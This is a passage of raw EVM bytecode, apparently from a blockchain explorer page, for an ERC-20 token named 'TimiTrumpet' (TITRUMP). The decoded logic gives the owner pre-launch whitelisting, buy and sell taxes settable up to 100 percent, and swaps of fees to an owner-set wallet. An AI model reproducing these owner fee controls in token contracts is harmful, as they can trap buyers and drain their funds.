fffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415801561197f575061194f610d38565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611eff57600c60149054906101000a900460ff16611a7957600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611a395750600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b611a78576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a6f90613510565b60405180910390fd5b5b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015611b245750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611b7a5750600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611c4b57600c60159054906101000a900460ff1615611c3257600954821115611bd9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bd09061357c565b60405180910390fd5b600a5482611be685610a54565b611bf0919061359c565b1115611c31576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c289061361c565b60405180910390fd5b5b60076000815480929190611c4590612f81565b91905055505b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611cd457503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15611d1a57611d136064611d05603260075411611cf2576032611cf6565b6006545b8561249990919063ffffffff16565b61251390919063ffffffff16565b9050611de6565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015611da357503073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611de557611de26064611dd4603260075411611dc1576032611dc5565b6005545b8561249990919063ffffffff16565b61251390919063ffffffff16565b90505b5b6000611df130610a54565b9050600c60169054906101000a900460ff16158015611e5d5750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b8015611e755750600c60179054906101000a900460ff165b8015611e9b57506009600a611e8a9190612d5b565b620186a0611e989190612da6565b81115b8015611ea957506019600754115b15611efd5760006008548211611ebf5781611ec3565b6008545b90506000818511611ed45784611ed6565b815b9050611ee181612220565b60004790506000811115611ef957611ef8476125a7565b5b5050505b505b600081111561200357611f5a81600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461261390919063ffffffff16565b600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611ffa91906128a9565b60405180910390a35b61205582600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461255d90919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506120fc6120ae828461255d90919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461261390919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6121a1848661255d90919063ffffffff16565b6040516121ae91906128a9565b60405180910390a350505050565b6000838311158290612204576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121fb9190612764565b60405180910390fd5b5060008385612213919061363c565b9050809150509392505050565b6001600c60166101000a81548160ff0219169083151502179055506000600267ffffffffffffffff81111561225857612257613670565b5b6040519080825280602002602001820160405280156122865781602001602082028036833780820191505090505b509050308160008151811061229e5761229d612f52565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015612345573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061236991906130df565b8160018151811061237d5761237c612f52565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506123e430600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611687565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161244895949392919061375d565b600060405180830381600087803b15801561246257600080fd5b505af1158015612476573d6000803e3d6000fd5b50505050506000600c60166101000a81548160ff02191690831515021790555050565b60008083036124ab576000905061250d565b600082846124b99190612da6565b90508284826124c891906137e6565b14612508576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124ff90613889565b60405180910390fd5b809150505b92915050565b600061255583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612671565b905092915050565b600061259f83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506121bc565b905092915050565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f1935050505015801561260f573d6000803e3d6000fd5b5050565b6000808284612622919061359c565b905083811015612667576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161265e906138f5565b60405180910390fd5b8091505092915050565b600080831182906126b8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126af9190612764565b60405180910390fd5b50600083856126c791906137e6565b9050809150509392505050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561270e5780820151818401526020810190506126f3565b60008484015250505050565b6000601f19601f8301169050919050565b6000612736826126d4565b61274081856126df565b93506127508185602086016126f0565b6127598161271a565b840191505092915050565b6000602082019050818103600083015261277e818461272b565b905092915050565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006127bb82612790565b9050919050565b6127cb816127b0565b81146127d657600080fd5b50565b6000813590506127e8816127c2565b92915050565b6000819050919050565b612801816127ee565b811461280c57600080fd5b50565b60008135905061281e816127f8565b92915050565b6000806040838503121561283b5761283a612786565b5b6000612849858286016127d9565b925050602061285a8582860161280f565b9150509250929050565b60008115159050919050565b61287981612864565b82525050565b60006020820190506128946000830184612870565b92915050565b6128a3816127ee565b82525050565b60006020820190506128be600083018461289a565b92915050565b6000806000606084860312156128dd576128dc612786565b5b60006128eb868287016127d9565b93505060206128fc868287016127d9565b925050604061290d8682870161280f565b9150509250925092565b600060ff82169050919050565b61292d81612917565b82525050565b60006020820190506129486000830184612924565b92915050565b600080fd5b600080fd5b600080fd5b60008083601f8401126129735761297261294e565b5b8235905067ffffffffffffffff8111156129905761298f612953565b5b6020830191508360208202830111156129ac576129ab612958565b5b9250929050565b60008083601f8401126129c9576129c861294e565b5b8235905067ffffffffffffffff8111156129e6576129e5612953565b5b602083019150836020820283011115612a0257612a01612958565b5b9250929050565b60008060008060408587031215612a2357612a22612786565b5b600085013567ffffffffffffffff811115612a4157612a4061278b565b5b612a4d8782880161295d565b9450945050602085013567ffffffffffffffff811115612a7057612a6f61278b565b5b612a7c878288016129b3565b925092505092959194509250565b600060208284031215612aa057612a9f612786565b5b6000612aae848285016127d9565b91505092915050565b612ac0816127b0565b82525050565b6000602082019050612adb6000830184612ab7565b92915050565b60008060408385031215612af857612af7612786565b5b6000612b068582860161280f565b9250506020612b178582860161280f565b9150509250929050565b600060208284031215612b3757612b36612786565b5b6000612b458482850161280f565b91505092915050565b60008060408385031215612b6557612b64612786565b5b6000612b73858286016127d9565b9250506020612b84858286016127d9565b9150509250929050565b6000612b9982612790565b9050919050565b612ba981612b8e565b8114612bb457600080fd5b50565b600081359050612bc681612ba0565b92915050565b600060208284031215612be257612be1612786565b5b6000612bf084828501612bb7565b91505092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b6001851115612c7f57808604811115612c5b57612c5a612bf9565b5b6001851615612c6a5780820291505b8081029050612c7885612c28565b9450612c3f565b94509492505050565b600082612c985760019050612d54565b81612ca65760009050612d54565b8160018114612cbc5760028114612cc657612cf5565b6001915050612d54565b60ff841115612cd857612cd7612bf9565b5b8360020a915084821115612cef57612cee612bf9565b5b50612d54565b5060208310610133831016604e8410600b8410161715612d2a5782820a905083811115612d2557612d24612bf9565b5b612d54565b612d378484846001612c35565b92509050818404811115612d4e57612d4d612bf9565b5b81810290505b9392505050565b6000612d66826127ee565b9150612d7183612917565b9250612d9e7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484612c88565b905092915050565b6000612db1826127ee565b9150612dbc836127ee565b9250828202612dca816127ee565b91508282048414831517612de157612de0612bf9565b5b5092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612e1e6020836126df565b9150612e2982612de8565b602082019050919050565b60006020820190508181036000830152612e4d81612e11565b9050919050565b7f416c726561647920696e20737761700000000000000000000000000000000000600082015250565b6000612e8a600f836126df565b9150612e9582612e54565b602082019050919050565b60006020820190508181036000830152612eb981612e7d565b9050919050565b7f4d69736d617463686564207265636970696e69656e747320616e642076616c7560008201527f65732e0000000000000000000000000000000000000000000000000000000000602082015250565b6000612f1c6023836126df565b9150612f2782612ec0565b604082019050919050565b60006020820190508181036000830152612f4b81612f0f565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000612f8c826127ee565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203612fbe57612fbd612bf9565b5b600182019050919050565b7f74726164696e6720616c7265616479206f70656e000000000000000000000000600082015250565b6000612fff6014836126df565b915061300a82612fc9565b602082019050919050565b6000602082019050818103600083015261302e81612ff2565b9050919050565b600060408201905061304a6000830185612870565b6130576020830184612870565b9392505050565b7f696e697420616c72656164792063616c6c656400000000000000000000000000600082015250565b60006130946013836126df565b915061309f8261305e565b602082019050919050565b600060208201905081810360008301526130c381613087565b9050919050565b6000815190506130d9816127c2565b92915050565b6000602082840312156130f5576130f4612786565b5b6000613103848285016130ca565b91505092915050565b60006040820190506131216000830185612ab7565b61312e6020830184612ab7565b9392505050565b6000819050919050565b6000819050919050565b600061316461315f61315a84613135565b61313f565b6127ee565b9050919050565b61317481613149565b82525050565b600060c08201905061318f6000830189612ab7565b61319c602083018861289a565b6131a9604083018761316b565b6131b6606083018661316b565b6131c36080830185612ab7565b6131d060a083018461289a565b979650505050505050565b6000815190506131ea816127f8565b92915050565b60008060006060848603121561320957613208612786565b5b6000613217868287016131db565b9350506020613228868287016131db565b9250506040613239868287016131db565b9150509250925092565b60006040820190506132586000830185612ab7565b613265602083018461289a565b9392505050565b61327581612864565b811461328057600080fd5b50565b6000815190506132928161326c565b92915050565b6000602082840312156132ae576132ad612786565b5b60006132bc84828501613283565b91505092915050565b7f5461782065786365656473206d6178696d756d20616d6f756e74000000000000600082015250565b60006132fb601a836126df565b9150613306826132c5565b602082019050919050565b6000602082019050818103600083015261332a816132ee565b9050919050565b6000604082019050613346600083018561289a565b613353602083018461289a565b9392505050565b7f45524332303a20617070726f766520746865207a65726f206164647265737300600082015250565b6000613390601f836126df565b915061339b8261335a565b602082019050919050565b600060208201905081810360008301526133bf81613383565b9050919050565b7f45524332303a207472616e7366657220746865207a65726f2061646472657373600082015250565b60006133fc6020836126df565b9150613407826133c6565b602082019050919050565b6000602082019050818103600083015261342b816133ef565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b600061348e6029836126df565b915061349982613432565b604082019050919050565b600060208201905081810360008301526134bd81613481565b9050919050565b7f74726164696e67206973206e6f7420796574206f70656e000000000000000000600082015250565b60006134fa6017836126df565b9150613505826134c4565b602082019050919050565b60006020820190508181036000830152613529816134ed565b9050919050565b7f4578636565647320746865205f6d61785478416d6f756e742e00000000000000600082015250565b60006135666019836126df565b915061357182613530565b602082019050919050565b6000602082019050818103600083015261359581613559565b9050919050565b60006135a7826127ee565b91506135b2836127ee565b92508282019050808211156135ca576135c9612bf9565b5b92915050565b7f4578636565647320746865206d617857616c6c657453697a652e000000000000600082015250565b6000613606601a836126df565b9150613611826135d0565b602082019050919050565b60006020820190508181036000830152613635816135f9565b9050919050565b6000613647826127ee565b9150613652836127ee565b925082820390508181111561366a57613669612bf9565b5b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b6136d4816127b0565b82525050565b60006136e683836136cb565b60208301905092915050565b6000602082019050919050565b600061370a8261369f565b61371481856136aa565b935061371f836136bb565b8060005b8381101561375057815161373788826136da565b9750613742836136f2565b925050600181019050613723565b5085935050505092915050565b600060a082019050613772600083018861289a565b61377f602083018761316b565b818103604083015261379181866136ff565b90506137a06060830185612ab7565b6137ad608083018461289a565b9695505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006137f1826127ee565b91506137fc836127ee565b92508261380c5761380b6137b7565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b60006138736021836126df565b915061387e82613817565b604082019050919050565b600060208201905081810360008301526138a281613866565b9050919050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b60006138df601b836126df565b91506138ea826138a9565b602082019050919050565b6000602082019050818103600083015261390e816138d2565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212204afbf16f93555d10b8fd9655e12d627e286b2b091c20809d37a8dd173a72c9cf64736f6c63430008150033

Deployed Bytecode

0x6080604052600436106101445760003560e01c8063751039fc116100b6578063a9059cbb1161006f578063a9059cbb146103fb578063b9a410ff14610438578063b9d0f1af14610461578063bf474bed1461048a578063dd62ed3e146104b5578063ea414b28146104f25761014b565b8063751039fc146103215780637d1db4a5146103385780638da5cb5b146103635780638f9a55c01461038e57806395d89b41146103b95780639e78fb4f146103e45761014b565b8063313ce56711610108578063313ce5671461024b57806351bc3c8514610276578063672434821461028d57806368385ea1146102b657806370a08231146102cd578063715018a61461030a5761014b565b806306fdde0314610150578063095ea7b31461017b5780630faee56f146101b857806318160ddd146101e357806323b872dd1461020e5761014b565b3661014b57005b600080fd5b34801561015c57600080fd5b5061016561051b565b6040516101729190612764565b60405180910390f35b34801561018757600080fd5b506101a2600480360381019061019d9190612824565b610558565b6040516101af919061287f565b60405180910390f35b3480156101c457600080fd5b506101cd610576565b6040516101da91906128a9565b60405180910390f35b3480156101ef57600080fd5b506101f861057c565b60405161020591906128a9565b60405180910390f35b34801561021a57600080fd5b50610235600480360381019061023091906128c4565b61059d565b604051610242919061287f565b60405180910390f35b34801561025757600080fd5b50610260610676565b60405161026d9190612933565b60405180910390f35b34801561028257600080fd5b5061028b61067f565b005b34801561029957600080fd5b506102b460048036038101906102af9190612a09565b610789565b005b3480156102c257600080fd5b506102cb6108e0565b005b3480156102d957600080fd5b506102f460048036038101906102ef9190612a8a565b610a54565b60405161030191906128a9565b60405180910390f35b34801561031657600080fd5b5061031f610a9d565b005b34801561032d57600080fd5b50610336610bf0565b005b34801561034457600080fd5b5061034d610d32565b60405161035a91906128a9565b60405180910390f35b34801561036f57600080fd5b50610378610d38565b6040516103859190612ac6565b60405180910390f35b34801561039a57600080fd5b506103a3610d61565b6040516103b091906128a9565b60405180910390f35b3480156103c557600080fd5b506103ce610d67565b6040516103db9190612764565b60405180910390f35b3480156103f057600080fd5b506103f9610da4565b005b34801561040757600080fd5b50610422600480360381019061041d9190612824565b6112fa565b60405161042f919061287f565b60405180910390f35b34801561044457600080fd5b5061045f600480360381019061045a9190612ae1565b611318565b005b34801561046d57600080fd5b5061048860048036038101906104839190612b21565b611461565b005b34801561049657600080fd5b5061049f611500565b6040516104ac91906128a9565b60405180910390f35b3480156104c157600080fd5b506104dc60048036038101906104d79190612b4e565b61151f565b6040516104e991906128a9565b60405180910390f35b3480156104fe57600080fd5b5061051960048036038101906105149190612bcc565b6115a6565b005b60606040518060400160405280600b81526020017f54696d695472756d706574000000000000000000000000000000000000000000815250905090565b600061056c61056561167f565b8484611687565b6001905092915050565b60085481565b60006009600a61058c9190612d5b565b60646105989190612da6565b905090565b60006105aa84848461181b565b61066b846105b661167f565b6106668560405180606001604052806028815260200161391660289139600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061061c61167f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546121bc9092919063ffffffff16565b611687565b600190509392505050565b60006009905090565b61068761167f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610714576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161070b90612e34565b60405180910390fd5b600c60169054906101000a900460ff1615801561073d5750600c60179054906101000a900460ff165b61077c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161077390612ea0565b60405180910390fd5b610787600854612220565b565b61079161167f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461081e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161081590612e34565b60405180910390fd5b818190508484905014610866576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161085d90612f32565b60405180910390fd5b60005b848490508110156108d9576108c661087f61167f565b86868481811061089257610891612f52565b5b90506020020160208101906108a79190612a8a565b8585858181106108ba576108b9612f52565b5b9050602002013561181b565b80806108d190612f81565b915050610869565b5050505050565b6108e861167f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610975576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161096c90612e34565b60405180910390fd5b600c60149054906101000a900460ff16156109c5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109bc90613015565b60405180910390fd5b6001600c60176101000a81548160ff0219169083151502179055506001600c60146101000a81548160ff0219169083151502179055507f029ed388f3dd39b342f312d7b12cba9e3065871bf0fb668cc5457f217b15dd7c600c60149054906101000a900460ff16600c60179054906101000a900460ff16604051610a4a929190613035565b60405180910390a1565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610aa561167f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b32576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b2990612e34565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610bf861167f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c85576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c7c90612e34565b60405180910390fd5b6000600c60156101000a81548160ff0219169083151502179055506009600a610cae9190612d5b565b6064610cba9190612da6565b6009819055506009600a610cce9190612d5b565b6064610cda9190612da6565b600a819055507f69ada53addde5123341ce3a822c5f66292103b2771e41e1f3c00c2de8a63a7f96009600a610d0f9190612d5b565b6064610d1b9190612da6565b604051610d2891906128a9565b60405180910390a1565b60095481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600a5481565b60606040518060400160405280600781526020017f54495452554d5000000000000000000000000000000000000000000000000000815250905090565b610dac61167f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e39576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e3090612e34565b60405180910390fd5b600c60149054906101000a900460ff1615610e89576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e80906130aa565b60405180910390fd5b6000610ee5610ece6064610ec060326009600a610ea69190612d5b565b6064610eb29190612da6565b61249990919063ffffffff16565b61251390919063ffffffff16565b610ed730610a54565b61255d90919063ffffffff16565b9050737a250d5630b4cf539739df2c5dacb4c659f2488d600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610f8230600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166009600a610f719190612d5b565b6064610f7d9190612da6565b611687565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610fef573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061101391906130df565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561109c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110c091906130df565b6040518363ffffffff1660e01b81526004016110dd92919061310c565b6020604051808303816000875af11580156110fc573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061112091906130df565b600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730846000806111ac61167f565b426040518863ffffffff1660e01b81526004016111ce9695949392919061317a565b60606040518083038185885af11580156111ec573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061121191906131f0565b505050600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b81526004016112b3929190613243565b6020604051808303816000875af11580156112d2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112f69190613298565b5050565b600061130e61130761167f565b848461181b565b6001905092915050565b61132061167f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146113ad576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113a490612e34565b60405180910390fd5b606482111580156113bf575060648111155b80156113d75750600c60149054906101000a900460ff165b611416576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161140d90613311565b60405180910390fd5b81600581905550806006819055507f78009e5656a5c60b3c047015fb856b2efbc6f42beed76119406d7d4e3fc161f48282604051611455929190613331565b60405180910390a15050565b61146961167f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146114f6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114ed90612e34565b60405180910390fd5b8060088190555050565b6009600a61150e9190612d5b565b620186a061151c9190612da6565b81565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6115ae61167f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461163b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161163290612e34565b60405180910390fd5b80600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156116f15750600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b611730576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611727906133a6565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161180e91906128a9565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156118855750600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b6118c4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118bb90613412565b60405180910390fd5b60008111611907576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118fe906134a4565b60405180910390fd5b6000611911610d38565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415801561197f575061194f610d38565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611eff57600c60149054906101000a900460ff16611a7957600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611a395750600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b611a78576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a6f90613510565b60405180910390fd5b5b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015611b245750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611b7a5750600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611c4b57600c60159054906101000a900460ff1615611c3257600954821115611bd9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bd09061357c565b60405180910390fd5b600a5482611be685610a54565b611bf0919061359c565b1115611c31576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c289061361c565b60405180910390fd5b5b60076000815480929190611c4590612f81565b91905055505b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611cd457503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15611d1a57611d136064611d05603260075411611cf2576032611cf6565b6006545b8561249990919063ffffffff16565b61251390919063ffffffff16565b9050611de6565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015611da357503073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611de557611de26064611dd4603260075411611dc1576032611dc5565b6005545b8561249990919063ffffffff16565b61251390919063ffffffff16565b90505b5b6000611df130610a54565b9050600c60169054906101000a900460ff16158015611e5d5750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b8015611e755750600c60179054906101000a900460ff165b8015611e9b57506009600a611e8a9190612d5b565b620186a0611e989190612da6565b81115b8015611ea957506019600754115b15611efd5760006008548211611ebf5781611ec3565b6008545b90506000818511611ed45784611ed6565b815b9050611ee181612220565b60004790506000811115611ef957611ef8476125a7565b5b5050505b505b600081111561200357611f5a81600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461261390919063ffffffff16565b600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611ffa91906128a9565b60405180910390a35b61205582600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054